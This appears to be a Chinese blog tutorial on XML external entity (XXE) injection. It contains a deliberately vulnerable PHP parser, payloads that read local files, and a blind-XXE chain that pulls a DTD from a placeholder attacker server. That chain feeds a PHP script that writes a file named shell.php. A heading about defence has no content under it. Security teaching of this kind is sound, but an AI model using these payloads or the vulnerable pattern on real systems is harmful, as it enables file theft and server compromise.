大家好,又见面了,我是你们的朋友全栈君。
1、文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
2、DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
Ps:第二条是重点,也是XXE漏洞产生的原因,DTD可以定义外部实体并引用
<!DOCTYPE 根元素 [元素声明]>
<!ENTITY 实体名 “”实体值“”>
<?xml version="1.0" encoding="utf-8"?> //xml声明
<!DOCTYPE playwin [ <!ENTITY name "playwin">
]>
<resume>
<name> &name; </name>
</resume>
<!ENTITY 实体名字 SYSTEM "URI/URL">
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r($xml);
?>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE playwin [ <!ENTITY name SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/1.txt">
]>
<resume>
<name> &name; </name>
</resume>
<?php
$xml=simplexml_load_string($_GET['xml']);
?>
<!ENTITY % 实体名字 SYSTEM(外部实体加上) ‘实体值’>
<?php
file_put_contents("shell.php", $_GET['file']) ;
?>
<!ENTITY % haha "<!ENTITY ok SYSTEM 'http://yourvps/2.php?file=123'>">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE playwin [ <!ENTITY % name SYSTEM "http://yourvps/1.dtd"> //请求dtd文件
%name;
%haha;
]>
<resume>
<name> &ok; </name>
</resume>
防御XXE
判断是否存在XXE漏洞
<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE ROOT [ <!ENTITY playwin "success">
]>
<root>&playwin;</root>
<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE ROOT [ <!ENTITY playwin SYSTEM "http://yourvps/xx.txt">
]>
<root>&playwin;</root>